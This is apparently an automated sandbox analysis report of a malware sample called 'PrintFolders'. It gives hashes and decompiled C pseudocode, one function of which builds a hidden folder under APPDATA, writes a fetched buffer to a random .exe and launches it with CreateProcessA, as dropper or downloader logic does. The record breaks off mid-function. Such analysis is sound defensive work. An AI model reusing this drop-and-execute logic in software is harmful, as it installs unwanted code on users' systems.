                                                          • Opcode ID: 064518bb8398a549d41507d19e53a4755c223495735e655d29204e71220b294f
                                                          • Instruction ID: 5b4a2eb99e861f4b6b1488fadc0f121773fdfa5924bf458925bca44d6de24a48
                                                          • Opcode Fuzzy Hash: 064518bb8398a549d41507d19e53a4755c223495735e655d29204e71220b294f
                                                          • Instruction Fuzzy Hash: B021C076900108AFDB45EF96C891DDD7BB8BF08344F8041AAF5199B261D775DA84CB84
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.380467077.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000002.00000002.380613965.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_400000_PrintFolders.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID: _free
                                                          • String ID:
                                                          • API String ID: 269201875-0
                                                          • Opcode ID: db551eddc28ed9585e28f7d8a930085c69e0a83f508d5c587fb4fce91d87a741
                                                          • Instruction ID: b5acc537e47175a484598864f7b5fa9eab7981bf784aec42cf186d38ae6ea6e0
                                                          • Opcode Fuzzy Hash: db551eddc28ed9585e28f7d8a930085c69e0a83f508d5c587fb4fce91d87a741
                                                          • Instruction Fuzzy Hash: 9821B67690010CBFDF41EF96C881DDE7BB8AF08344F0081AAF6159B121DB35EA958B88
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 77%
                                                          			E10007A68(void* __ebx, void* __edi, void* __esi, char _a4) {
                                                          				void* _v5;
                                                          				char _v12;
                                                          				char _v16;
                                                          				char _v20;
                                                          				void* __ebp;
                                                          				char _t55;
                                                          				char _t61;
                                                          				void* _t67;
                                                          				intOrPtr _t68;
                                                          				void* _t72;
                                                          				void* _t73;
                                                          
                                                          				_t73 = __esi;
                                                          				_t72 = __edi;
                                                          				_t67 = __ebx;
                                                          				_t36 = _a4;
                                                          				_t68 =  *_a4;
                                                          				_t77 = _t68 - 0x10010e70;
                                                          				if(_t68 != 0x10010e70) {
                                                          					E10008701(_t68);
                                                          					_t36 = _a4;
                                                          				}
                                                          				E10008701( *((intOrPtr*)(_t36 + 0x3c)));
                                                          				E10008701( *((intOrPtr*)(_a4 + 0x30)));
                                                          				E10008701( *((intOrPtr*)(_a4 + 0x34)));
                                                          				E10008701( *((intOrPtr*)(_a4 + 0x38)));
                                                          				E10008701( *((intOrPtr*)(_a4 + 0x28)));
                                                          				E10008701( *((intOrPtr*)(_a4 + 0x2c)));
                                                          				E10008701( *((intOrPtr*)(_a4 + 0x40)));
                                                          				E10008701( *((intOrPtr*)(_a4 + 0x44)));
                                                          				E10008701( *((intOrPtr*)(_a4 + 0x360)));
                                                          				_v16 =  &_a4;
                                                          				_t55 = 5;
                                                          				_v12 = _t55;
                                                          				_v20 = _t55;
                                                          				_push( &_v12);
                                                          				_push( &_v16);
                                                          				_push( &_v20);
                                                          				E10007894(_t67, _t72, _t73, _t77);
                                                          				_v16 =  &_a4;
                                                          				_t61 = 4;
                                                          				_v20 = _t61;
                                                          				_v12 = _t61;
                                                          				_push( &_v20);
                                                          				_push( &_v16);
                                                          				_push( &_v12);
                                                          				return E100078FF(_t67, _t72, _t73, _t77);
                                                          			}














                                                          0x10007a68
                                                          0x10007a68
                                                          0x10007a68
                                                          0x10007a6d
                                                          0x10007a73
                                                          0x10007a75
                                                          0x10007a7b
                                                          0x10007a7e
                                                          0x10007a83
                                                          0x10007a86
                                                          0x10007a8a
                                                          0x10007a95
                                                          0x10007aa0
                                                          0x10007aab
                                                          0x10007ab6
                                                          0x10007ac1
                                                          0x10007acc
                                                          0x10007ad7
                                                          0x10007ae5
                                                          0x10007af0
                                                          0x10007af8
                                                          0x10007af9
                                                          0x10007afc
                                                          0x10007b02
                                                          0x10007b06
                                                          0x10007b0a
                                                          0x10007b0b
                                                          0x10007b15
                                                          0x10007b1b
                                                          0x10007b1c
                                                          0x10007b1f
                                                          0x10007b25
                                                          0x10007b29
                                                          0x10007b2d
                                                          0x10007b34

                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.382027738.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                          • Associated: 00000002.00000002.382023656.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000002.00000002.382041699.0000000010010000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000002.00000002.382053662.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000002.00000002.382059437.0000000010019000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_10000000_PrintFolders.jbxd
                                                          Similarity
                                                          • API ID: _free$ErrorFreeHeapLast
                                                          • String ID:
                                                          • API String ID: 776569668-0
                                                          • Opcode ID: 81c439588ecf3f878c2d47a34354f57c6a02997bda065798a73a88b2c9937e33
                                                          • Instruction ID: 867ad9f989b00400d9638a76b2324434a93f572cdeb18d7cd5bb1e105d022b7d
                                                          • Opcode Fuzzy Hash: 81c439588ecf3f878c2d47a34354f57c6a02997bda065798a73a88b2c9937e33
                                                          • Instruction Fuzzy Hash: 8321957A914108EFDB41DF94C841DDE7BB9FF08384B6081A6F9599B125EA32EA448F90
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 57%
                                                          			E10001F90(void** __ecx, void* __edi) {
                                                          				intOrPtr _v8;
                                                          				void* _v16;
                                                          				signed int _v24;
                                                          				signed int _v28;
                                                          				signed int _v32;
                                                          				char _v300;
                                                          				char _v564;
                                                          				signed int _v568;
                                                          				void* _v572;
                                                          				void* _v588;
                                                          				char _v592;
                                                          				signed int _v596;
                                                          				void* _v600;
                                                          				char _v616;
                                                          				signed int _v620;
                                                          				char _v640;
                                                          				signed int _v676;
                                                          				signed int _v680;
                                                          				signed int _v692;
                                                          				void* _v960;
                                                          				void* _v964;
                                                          				signed int _v968;
                                                          				long _v972;
                                                          				intOrPtr _v976;
                                                          				signed int _v980;
                                                          				void* _v984;
                                                          				intOrPtr _v988;
                                                          				signed int _v1012;
                                                          				intOrPtr _v1020;
                                                          				char _v1024;
                                                          				void* _v1100;
                                                          				intOrPtr _v1116;
                                                          				void* _v1120;
                                                          				struct _PROCESS_INFORMATION _v1136;
                                                          				signed int _v1140;
                                                          				void* _v1144;
                                                          				signed int* _v1152;
                                                          				char _v1156;
                                                          				void* _v1160;
                                                          				void* _v1168;
                                                          				void* _v1172;
                                                          				long _v1188;
                                                          				intOrPtr _v1192;
                                                          				void* _v1196;
                                                          				void* _v1208;
                                                          				signed int _v1216;
                                                          				void* _v1220;
                                                          				void* _v1224;
                                                          				char _v1232;
                                                          				signed int _v1236;
                                                          				signed int _v1240;
                                                          				void* _v1244;
                                                          				void* _v1256;
                                                          				void* _v1268;
                                                          				void* _v1280;
                                                          				void* __ebx;
                                                          				void* __esi;
                                                          				void* __ebp;
                                                          				signed int _t273;
                                                          				signed int _t274;
                                                          				char* _t276;
                                                          				signed int _t278;
                                                          				signed int _t280;
                                                          				intOrPtr* _t282;
                                                          				signed int _t295;
                                                          				signed int _t297;
                                                          				intOrPtr* _t299;
                                                          				void* _t307;
                                                          				signed int _t312;
                                                          				char _t318;
                                                          				signed int _t320;
                                                          				signed int _t321;
                                                          				signed int _t327;
                                                          				signed int* _t329;
                                                          				signed int _t334;
                                                          				unsigned int _t361;
                                                          				void* _t362;
                                                          				signed int _t363;
                                                          				signed int _t369;
                                                          				signed int _t372;
                                                          				signed int _t374;
                                                          				void* _t375;
                                                          				signed int _t376;
                                                          				signed int _t377;
                                                          				char* _t379;
                                                          				void* _t385;
                                                          				signed int _t386;
                                                          				signed int _t387;
                                                          				long _t388;
                                                          				intOrPtr _t395;
                                                          				CHAR* _t397;
                                                          				signed int _t400;
                                                          				void* _t404;
                                                          				intOrPtr _t413;
                                                          				signed int _t418;
                                                          				signed int _t422;
                                                          				signed int _t426;
                                                          				void* _t427;
                                                          				signed int _t429;
                                                          				char _t436;
                                                          				intOrPtr _t438;
                                                          				intOrPtr _t443;
                                                          				intOrPtr _t452;
                                                          				intOrPtr _t454;
                                                          				intOrPtr _t459;
                                                          				intOrPtr _t468;
                                                          				void* _t470;
                                                          				void* _t471;
                                                          				signed int _t473;
                                                          				void** _t475;
                                                          				intOrPtr* _t481;
                                                          				signed int _t482;
                                                          				char _t487;
                                                          				intOrPtr* _t493;
                                                          				signed int _t494;
                                                          				char _t499;
                                                          				signed int* _t506;
                                                          				signed int _t508;
                                                          				void* _t509;
                                                          				signed int _t514;
                                                          				signed int _t515;
                                                          				void* _t520;
                                                          				char* _t524;
                                                          				intOrPtr _t525;
                                                          				signed int _t531;
                                                          				signed int _t532;
                                                          				void* _t535;
                                                          				intOrPtr _t536;
                                                          				signed int _t537;
                                                          				void* _t538;
                                                          				intOrPtr _t540;
                                                          				intOrPtr _t541;
                                                          				intOrPtr* _t542;
                                                          				intOrPtr _t544;
                                                          				intOrPtr _t545;
                                                          				intOrPtr* _t546;
                                                          				intOrPtr* _t548;
                                                          				intOrPtr* _t551;
                                                          				signed int _t552;
                                                          				signed int _t553;
                                                          				intOrPtr* _t554;
                                                          				intOrPtr* _t557;
                                                          				signed int _t558;
                                                          				signed int _t560;
                                                          				signed int _t565;
                                                          				intOrPtr _t566;
                                                          				void* _t567;
                                                          				void* _t568;
                                                          				void* _t569;
                                                          				void* _t570;
                                                          				char _t571;
                                                          				void* _t572;
                                                          				void* _t573;
                                                          				void* _t574;
                                                          				void* _t575;
                                                          				void** _t577;
                                                          				void* _t578;
                                                          				signed int _t579;
                                                          				void* _t580;
                                                          				signed int _t581;
                                                          				signed int _t583;
                                                          				char _t584;
                                                          				signed int _t587;
                                                          				void* _t589;
                                                          				void* _t590;
                                                          				void* _t591;
                                                          				void* _t592;
                                                          				void* _t593;
                                                          				signed int _t594;
                                                          				void* _t595;
                                                          				void* _t596;
                                                          				signed int* _t597;
                                                          				char* _t599;
                                                          				void* _t603;
                                                          				signed int _t604;
                                                          				void* _t605;
                                                          				void* _t606;
                                                          				signed int _t608;
                                                          				signed int _t610;
                                                          				void* _t612;
                                                          				void* _t614;
                                                          				void* _t618;
                                                          				signed int _t621;
                                                          				void* _t622;
                                                          				signed int _t623;
                                                          				signed int _t628;
                                                          				void* _t633;
                                                          				void* _t638;
                                                          
                                                          				_t471 = _t618;
                                                          				_t621 = (_t618 - 0x00000008 & 0xfffffff8) + 4;
                                                          				_v8 =  *((intOrPtr*)(_t471 + 4));
                                                          				_t608 = _t621;
                                                          				_t622 = _t621 - 0x268;
                                                          				_t273 =  *0x10017004; // 0x615bd7ba
                                                          				_t274 = _t273 ^ _t608;
                                                          				_v32 = _t274;
                                                          				 *[fs:0x0] =  &_v24;
                                                          				_t577 = __ecx;
                                                          				_v592 = __ecx;
                                                          				_v588 = 0;
                                                          				_v592 = __ecx;
                                                          				_v572 = 0;
                                                          				_v568 = 0xf;
                                                          				_v588 = 0;
                                                          				_t276 =  &_v300;
                                                          				_v16 = 0;
                                                          				__imp__SHGetFolderPathA(0, 0x1a, 0, 0, _t276, _t274, __edi, _t589, _t471,  *[fs:0x0], E1000F83C, 0xffffffff, _t606, _t470);
                                                          				if(_t276 < 0) {
                                                          					_t548 = E100065B3(_t471, __ecx, _t589, __eflags, "APPDATA");
                                                          					_t622 = _t622 + 4;
                                                          					_t481 = _t548;
                                                          					_t16 = _t481 + 1; // 0x1
                                                          					_t590 = _t16;
                                                          					do {
                                                          						_t278 =  *_t481;
                                                          						_t481 = _t481 + 1;
                                                          						__eflags = _t278;
                                                          					} while (_t278 != 0);
                                                          					_t482 = _t481 - _t590;
                                                          					__eflags = _t482;
                                                          					_push(_t482);
                                                          					_push(_t548);
                                                          				} else {
                                                          					_t546 =  &_v300;
                                                          					_t575 = _t546 + 1;
                                                          					goto L2;
                                                          					L2:
                                                          					_t468 =  *_t546;
                                                          					_t546 = _t546 + 1;
                                                          					_t649 = _t468;
                                                          					if(_t468 != 0) {
                                                          						goto L2;
                                                          					} else {
                                                          						_push(_t546 - _t575);
                                                          						_push( &_v300);
                                                          					}
                                                          				}
                                                          				E10001970( &_v588);
                                                          				_t280 = E10006494( &_v588, _t649);
                                                          				asm("cdq");
                                                          				_t282 = E10001EB0( &_v640, _t280 % 7 + 5);
                                                          				_push(_t282);
                                                          				_v16 = 1;
                                                          				L151();
                                                          				_t623 = _t622 + 4;
                                                          				_v16 = 2;
                                                          				_t551 = _t282;
                                                          				if( *((intOrPtr*)(_t282 + 0x14)) >= 0x10) {
                                                          					_t551 =  *_t282;
                                                          				}
                                                          				_t487 =  *((intOrPtr*)(_t282 + 0x10));
                                                          				_t591 = _v572;
                                                          				_v592 = _t487;
                                                          				_push(_t487);
                                                          				_push(_t551);
                                                          				if(_t487 > _v568 - _t591) {
                                                          					_v592 = 0;
                                                          					_push(_v592);
                                                          					_push(_t487);
                                                          					E10002E00(_t471,  &_v588, _t577, _t591);
                                                          				} else {
                                                          					_v572 = _t591 + _t487;
                                                          					_t465 =  >=  ? _v588 :  &_v588;
                                                          					_t591 = _t591 + ( >=  ? _v588 :  &_v588);
                                                          					_push(_t591);
                                                          					E10005BC0();
                                                          					_t623 = _t623 + 0xc;
                                                          					 *((char*)(_t591 + _v592)) = 0;
                                                          				}
                                                          				_v16 = 1;
                                                          				_t552 = _v596;
                                                          				if(_t552 < 0x10) {
                                                          					L16:
                                                          					_v16 = 0;
                                                          					_t553 = _v620;
                                                          					_v600 = 0;
                                                          					_v596 = 0xf;
                                                          					_v616 = 0;
                                                          					if(_t553 < 0x10) {
                                                          						L20:
                                                          						_t287 =  >=  ? _v588 :  &_v588;
                                                          						if(CreateDirectoryA( >=  ? _v588 :  &_v588, 0) != 0 || GetLastError() == 0xb7) {
                                                          							L48:
                                                          							asm("movups xmm0, [ebp-0x240]");
                                                          							 *_t577 = 0;
                                                          							_t577[4] = 0;
                                                          							_t577[5] = 0;
                                                          							asm("movups [edi], xmm0");
                                                          							asm("movq xmm0, [ebp-0x230]");
                                                          							asm("movq [edi+0x10], xmm0");
                                                          							goto L49;
                                                          						} else {
                                                          							if(GetTempPathA(0x104,  &_v564) < 0) {
                                                          								_t554 = E100065B3(_t471, _t577, _t591, __eflags, "TMPDIR");
                                                          								_t623 = _t623 + 4;
                                                          								_t493 = _t554;
                                                          								_t59 = _t493 + 1; // 0x1
                                                          								_t593 = _t59;
                                                          								do {
                                                          									_t295 =  *_t493;
                                                          									_t493 = _t493 + 1;
                                                          									__eflags = _t295;
                                                          								} while (_t295 != 0);
                                                          								_t494 = _t493 - _t593;
                                                          								__eflags = _t494;
                                                          								_push(_t494);
                                                          								_push(_t554);
                                                          							} else {
                                                          								_t542 =  &_v564;
                                                          								_t573 = _t542 + 1;
                                                          								do {
                                                          									_t452 =  *_t542;
                                                          									_t542 = _t542 + 1;
                                                          									_t663 = _t452;
                                                          								} while (_t452 != 0);
                                                          								_push(_t542 - _t573);
                                                          								_push( &_v564);
                                                          							}
                                                          							E10001970( &_v588);
                                                          							_t297 = E10006494( &_v588, _t663);
                                                          							asm("cdq");
                                                          							_t299 = E10001EB0( &_v640, _t297 % 7 + 5);
                                                          							_push(_t299);
                                                          							_v16 = 3;
                                                          							L151();
                                                          							_t623 = _t623 + 4;
                                                          							_v16 = 4;
                                                          							_t557 = _t299;
                                                          							if( *((intOrPtr*)(_t299 + 0x14)) >= 0x10) {
                                                          								_t557 =  *_t299;
                                                          							}
                                                          							_t499 =  *((intOrPtr*)(_t299 + 0x10));
                                                          							_t591 = _v572;
                                                          							_v592 = _t499;
                                                          							_push(_t499);
                                                          							_push(_t557);
                                                          							if(_t499 > _v568 - _t591) {
                                                          								_v592 = 0;
                                                          								_push(_v592);
                                                          								_push(_t499);
                                                          								E10002E00(_t471,  &_v588, _t577, _t591);
                                                          							} else {
                                                          								_v572 = _t591 + _t499;
                                                          								_t449 =  >=  ? _v588 :  &_v588;
                                                          								_t591 = _t591 + ( >=  ? _v588 :  &_v588);
                                                          								_push(_t591);
                                                          								E10005BC0();
                                                          								_t623 = _t623 + 0xc;
                                                          								 *((char*)(_t591 + _v592)) = 0;
                                                          							}
                                                          							_t558 = _v596;
                                                          							if(_t558 < 0x10) {
                                                          								L38:
                                                          								_t553 = _v620;
                                                          								_v600 = 0;
                                                          								_v596 = 0xf;
                                                          								_v616 = 0;
                                                          								if(_t553 < 0x10) {
                                                          									L42:
                                                          									_t304 =  >=  ? _v588 :  &_v588;
                                                          									if(CreateDirectoryA( >=  ? _v588 :  &_v588, 0) != 0 || GetLastError() == 0xb7) {
                                                          										goto L48;
                                                          									} else {
                                                          										_t553 = _v568;
                                                          										 *_t577 = 0;
                                                          										_t577[4] = 0;
                                                          										_t577[5] = 0xf;
                                                          										 *_t577 = 0;
                                                          										if(_t553 < 0x10) {
                                                          											L49:
                                                          											 *[fs:0x0] = _v24;
                                                          											_pop(_t578);
                                                          											_pop(_t592);
                                                          											return E100031FF(_t577, _t471, _v32 ^ _t608, _t553, _t578, _t592);
                                                          										} else {
                                                          											_t501 = _v588;
                                                          											_t553 = _t553 + 1;
                                                          											_t307 = _t501;
                                                          											if(_t553 < 0x1000) {
                                                          												L47:
                                                          												_push(_t553);
                                                          												E10003216(_t501);
                                                          												goto L49;
                                                          											} else {
                                                          												_t501 =  *(_t501 - 4);
                                                          												_t553 = _t553 + 0x23;
                                                          												if(_t307 - _t501 + 0xfffffffc > 0x1f) {
                                                          													goto L52;
                                                          												} else {
                                                          													goto L47;
                                                          												}
                                                          											}
                                                          										}
                                                          									}
                                                          								} else {
                                                          									_t540 = _v640;
                                                          									_t553 = _t553 + 1;
                                                          									_t438 = _t540;
                                                          									if(_t553 < 0x1000) {
                                                          										L41:
                                                          										_push(_t553);
                                                          										E10003216(_t540);
                                                          										_t623 = _t623 + 8;
                                                          										goto L42;
                                                          									} else {
                                                          										_t501 =  *(_t540 - 4);
                                                          										_t553 = _t553 + 0x23;
                                                          										if(_t438 -  *(_t540 - 4) + 0xfffffffc > 0x1f) {
                                                          											goto L51;
                                                          										} else {
                                                          											goto L41;
                                                          										}
                                                          									}
                                                          								}
                                                          							} else {
                                                          								_t541 = _v616;
                                                          								_t572 = _t558 + 1;
                                                          								_t443 = _t541;
                                                          								if(_t572 < 0x1000) {
                                                          									L37:
                                                          									_push(_t572);
                                                          									E10003216(_t541);
                                                          									_t623 = _t623 + 8;
                                                          									goto L38;
                                                          								} else {
                                                          									_t501 =  *(_t541 - 4);
                                                          									_t553 = _t572 + 0x23;
                                                          									if(_t443 -  *(_t541 - 4) + 0xfffffffc > 0x1f) {
                                                          										goto L51;
                                                          									} else {
                                                          										goto L37;
                                                          									}
                                                          								}
                                                          							}
                                                          						}
                                                          					} else {
                                                          						_t544 = _v640;
                                                          						_t553 = _t553 + 1;
                                                          						_t454 = _t544;
                                                          						if(_t553 < 0x1000) {
                                                          							L19:
                                                          							_push(_t553);
                                                          							E10003216(_t544);
                                                          							_t623 = _t623 + 8;
                                                          							goto L20;
                                                          						} else {
                                                          							_t501 =  *(_t544 - 4);
                                                          							_t553 = _t553 + 0x23;
                                                          							if(_t454 -  *(_t544 - 4) + 0xfffffffc > 0x1f) {
                                                          								goto L50;
                                                          							} else {
                                                          								goto L19;
                                                          							}
                                                          						}
                                                          					}
                                                          				} else {
                                                          					_t545 = _v616;
                                                          					_t574 = _t552 + 1;
                                                          					_t459 = _t545;
                                                          					if(_t574 < 0x1000) {
                                                          						L15:
                                                          						_push(_t574);
                                                          						E10003216(_t545);
                                                          						_t623 = _t623 + 8;
                                                          						goto L16;
                                                          					} else {
                                                          						_t501 =  *(_t545 - 4);
                                                          						_t553 = _t574 + 0x23;
                                                          						if(_t459 -  *(_t545 - 4) + 0xfffffffc > 0x1f) {
                                                          							L50:
                                                          							E1000633C(_t471, _t501, _t553, __eflags);
                                                          							L51:
                                                          							E1000633C(_t471, _t501, _t553, __eflags);
                                                          							L52:
                                                          							E1000633C(_t471, _t501, _t553, __eflags);
                                                          							asm("int3");
                                                          							asm("int3");
                                                          							asm("int3");
                                                          							asm("int3");
                                                          							asm("int3");
                                                          							asm("int3");
                                                          							asm("int3");
                                                          							_push(_t608);
                                                          							_t610 = _t623;
                                                          							_t628 = (_t623 & 0xfffffff0) - 0x228;
                                                          							_t312 =  *0x10017004; // 0x615bd7ba
                                                          							_v692 = _t312 ^ _t628;
                                                          							_push(_t591);
                                                          							_t594 = _v676;
                                                          							_push(_t577);
                                                          							_t579 = _v680;
                                                          							E100064B5(_t501, E10006436(_t501, _t553, 0));
                                                          							E10004730(_t579,  &_v1024, 0, 0x148);
                                                          							_v1012 = _t594;
                                                          							_v1020 = 0x7a120;
                                                          							_push(0x7a120); // executed
                                                          							_t318 = E1000320D(_t471, _t579, _t594, __eflags); // executed
                                                          							_v1024 = _t318;
                                                          							E10004730(_t579, _t318, 0, _v1020);
                                                          							_t320 = _v980;
                                                          							_t633 = _t628 + 0x24;
                                                          							_v988 = 0xfde9;
                                                          							_v968 = 0;
                                                          							_v964 = 0;
                                                          							_v960 = 0;
                                                          							_v972 = 0;
                                                          							__eflags = _t320;
                                                          							if(_t320 != 0) {
                                                          								E10003224(_t320);
                                                          								_t633 = _t633 + 4;
                                                          								_v980 = 0;
                                                          							}
                                                          							_push(_t579);
                                                          							_t321 = E100014F0( &_v1024); // executed
                                                          							__eflags = _t321;
                                                          							if(_t321 == 0) {
                                                          								_t595 = 0xfffffffd;
                                                          								goto L113;
                                                          							} else {
                                                          								__eflags = _v980;
                                                          								if(_v980 == 0) {
                                                          									L111:
                                                          									_t595 = 0;
                                                          									goto L113;
                                                          								} else {
                                                          									_t327 = _v968;
                                                          									__eflags = _t327;
                                                          									if(_t327 == 0) {
                                                          										goto L111;
                                                          									} else {
                                                          										__eflags = _t327 - 2;
                                                          										if(_t327 <= 2) {
                                                          											goto L111;
                                                          										} else {
                                                          											__eflags = _t327 - 0xc00;
                                                          											if(_t327 <= 0xc00) {
                                                          												_t595 = _t594 | 0xffffffff;
                                                          												goto L113;
                                                          											} else {
                                                          												E10001F90( &_v1156, _t579);
                                                          												__eflags = _v1140;
                                                          												if(__eflags == 0) {
                                                          													_t595 = 0xfffffffe;
                                                          													goto L106;
                                                          												} else {
                                                          													_t377 = E10006494( &_v1156, __eflags);
                                                          													asm("cdq");
                                                          													_t379 = E10001EB0(_t633 + 0x24, _t377 % 7 + 5);
                                                          													_push(_t379);
                                                          													L151();
                                                          													_t524 = _t379;
                                                          													_t633 = _t633 + 4;
                                                          													_t579 =  *(_t524 + 0x14);
                                                          													_t603 =  *(_t524 + 0x10);
                                                          													__eflags = _t579 - _t603 - 4;
                                                          													if(_t579 - _t603 < 4) {
                                                          														_push(4);
                                                          														_v1232 = 0;
                                                          														_t524 = E10002E00(_t471, _t524, _t579, _t603, 4, _v1232, ".exe");
                                                          													} else {
                                                          														_t571 = _t524;
                                                          														 *(_t524 + 0x10) = _t603 + 4;
                                                          														__eflags = _t579 - 0x10;
                                                          														if(_t579 >= 0x10) {
                                                          															_t571 =  *_t524;
                                                          														}
                                                          														_t436 = ".exe"; // 0x6578652e
                                                          														 *(_t571 + _t603) = _t436;
                                                          														 *((char*)(_t571 + _t603 + 4)) = 0;
                                                          													}
                                                          													asm("movups xmm1, [ecx]");
                                                          													asm("movq xmm0, [ecx+0x10]");
                                                          													asm("movq [esp+0x80], xmm0");
                                                          													__eflags =  *((intOrPtr*)(_t633 + 0x84)) - 0x10;
                                                          													 *(_t524 + 0x10) = 0;
                                                          													 *(_t524 + 0x14) = 0xf;
                                                          													 *_t524 = 0;
                                                          													_t604 = _v1140;
                                                          													_t525 = _v1116;
                                                          													asm("movd edi, xmm1");
                                                          													_push(_t525);
                                                          													asm("movaps [esp+0x74], xmm1");
                                                          													_t564 =  >=  ? _t579 :  &(_v1136.hThread);
                                                          													_push( >=  ? _t579 :  &(_v1136.hThread));
                                                          													__eflags = _t525 - _v1136.hProcess - _t604;
                                                          													if(_t525 > _v1136.hProcess - _t604) {
                                                          														_v1236 = 0;
                                                          														_push(_v1236);
                                                          														_push(_t525);
                                                          														_t385 = E10002E00(_t471,  &_v1156, _t579, _t604);
                                                          														_t579 =  *(_t633 + 0x70);
                                                          														_t595 = _t385;
                                                          													} else {
                                                          														__eflags = _v1136.hProcess - 0x10;
                                                          														_v1140 = _t525 + _t604;
                                                          														_t432 =  >=  ? _v1156 :  &_v1156;
                                                          														_t605 = _t604 + ( >=  ? _v1156 :  &_v1156);
                                                          														_push(_t605);
                                                          														E10005BC0();
                                                          														_t633 = _t633 + 0xc;
                                                          														 *((char*)(_t605 + _v1116)) = 0;
                                                          														_t595 =  &_v1156;
                                                          													}
                                                          													 *(_t633 + 0x40) = 0;
                                                          													_v1168 = 0;
                                                          													 *(_t633 + 0x54) = 0;
                                                          													__eflags =  *((intOrPtr*)(_t595 + 0x14)) - 0x10;
                                                          													_t386 =  *(_t595 + 0x10);
                                                          													_v1240 = _t386;
                                                          													if( *((intOrPtr*)(_t595 + 0x14)) >= 0x10) {
                                                          														_t595 =  *_t595;
                                                          													}
                                                          													__eflags = _t386 - 0x10;
                                                          													if(_t386 >= 0x10) {
                                                          														_t387 = _t386 | 0x0000000f;
                                                          														__eflags = _t387 - 0x7fffffff;
                                                          														_t388 =  >  ? 0x7fffffff : _t387;
                                                          														_v1188 = _t388;
                                                          														_t531 =  ~(0 | _t387 - 0x7fffffff > 0x00000000) | _t388 + 0x00000001;
                                                          														__eflags = _t531 - 0x1000;
                                                          														if(_t531 < 0x1000) {
                                                          															__eflags = _t531;
                                                          															if(__eflags == 0) {
                                                          																_t532 = 0;
                                                          																__eflags = 0;
                                                          															} else {
                                                          																_push(_t531);
                                                          																_t426 = E10003229(_t471, _t579, _t595, __eflags);
                                                          																_t633 = _t633 + 4;
                                                          																_t532 = _t426;
                                                          															}
                                                          															goto L80;
                                                          														} else {
                                                          															_t170 = _t531 + 0x23; // 0x23
                                                          															_t427 = _t170;
                                                          															__eflags = _t427 - _t531;
                                                          															if(__eflags <= 0) {
                                                          																E10001DE0(_t471);
                                                          																goto L115;
                                                          															} else {
                                                          																_push(_t427);
                                                          																_t429 = E10003229(_t471, _t579, _t595, __eflags);
                                                          																_t633 = _t633 + 4;
                                                          																__eflags = _t429;
                                                          																if(__eflags == 0) {
                                                          																	goto L115;
                                                          																} else {
                                                          																	_t171 = _t429 + 0x23; // 0x23
                                                          																	_t532 = _t171 & 0xffffffe0;
                                                          																	 *(_t532 - 4) = _t429;
                                                          																	L80:
                                                          																	__eflags = _v1240 + 1;
                                                          																	 *(_t633 + 0x40) = _t532;
                                                          																	E10005BC0(_t532, _t595, _v1240 + 1);
                                                          																	_t633 = _t633 + 0xc;
                                                          																	_v1168 = _v1240;
                                                          																	 *(_t633 + 0x54) = _v1188;
                                                          																	goto L81;
                                                          																}
                                                          															}
                                                          														}
                                                          													} else {
                                                          														asm("movups xmm0, [esi]");
                                                          														_v1168 = _t386;
                                                          														 *(_t633 + 0x54) = 0xf;
                                                          														asm("movups [esp+0x40], xmm0");
                                                          														L81:
                                                          														_t395 = _v1116;
                                                          														__eflags = _t395 - 0x10;
                                                          														if(_t395 < 0x10) {
                                                          															L85:
                                                          															_t565 = _v1216;
                                                          															__eflags = _t565 - 0x10;
                                                          															if(_t565 < 0x10) {
                                                          																L89:
                                                          																_t566 = _v1192;
                                                          																_v1220 = 0;
                                                          																_v1216 = 0xf;
                                                          																_v1236 = 0;
                                                          																__eflags = _t566 - 0x10;
                                                          																if(_t566 < 0x10) {
                                                          																	L93:
                                                          																	__eflags =  *(_t633 + 0x54) - 0x10;
                                                          																	_t397 =  >=  ?  *(_t633 + 0x40) : _t633 + 0x40;
                                                          																	__eflags = _v984;
                                                          																	if(_v984 != 0) {
                                                          																		__eflags = _v972;
                                                          																		if(_v972 != 0) {
                                                          																			_t595 = CreateFileA(_t397, 0x40000000, 1, 0, 2, 0x80, 0);
                                                          																			__eflags = _t595 - 0xffffffff;
                                                          																			if(_t595 != 0xffffffff) {
                                                          																				_v1188 = 0;
                                                          																				WriteFile(_t595, _v984, _v972,  &_v1188, 0);
                                                          																				CloseHandle(_t595);
                                                          																			}
                                                          																		}
                                                          																	}
                                                          																	__eflags =  *(_t633 + 0x54) - 0x10;
                                                          																	 *(_t633 + 0x9c) = 0x44;
                                                          																	asm("xorps xmm0, xmm0");
                                                          																	_t399 =  >=  ?  *((void*)(_t633 + 0x58)) : _t633 + 0x58;
                                                          																	asm("movlpd [esp+0xc4], xmm0");
                                                          																	asm("movlpd [esp+0xcc], xmm0");
                                                          																	asm("movlpd [esp+0xd4], xmm0");
                                                          																	asm("movlpd [esp+0xdc], xmm0");
                                                          																	asm("movlpd [esp+0xe4], xmm0");
                                                          																	asm("movlpd [esp+0xec], xmm0");
                                                          																	asm("movlpd [esp+0xf4], xmm0");
                                                          																	asm("movlpd [esp+0xfc], xmm0");
                                                          																	asm("movaps [esp+0x98], xmm0");
                                                          																	_t400 = CreateProcessA( >=  ?  *((void*)(_t633 + 0x58)) : _t633 + 0x58, 0, 0, 0, 0, 0, 0, 0, _t633 + 0x9c,  &_v1136);
                                                          																	__eflags = _t400;
                                                          																	if(_t400 == 0) {
                                                          																		L99:
                                                          																		__eflags =  *(_t633 + 0x54) - 0x10;
                                                          																		_t402 =  >=  ?  *((void*)(_t633 + 0x44)) : _t633 + 0x40;
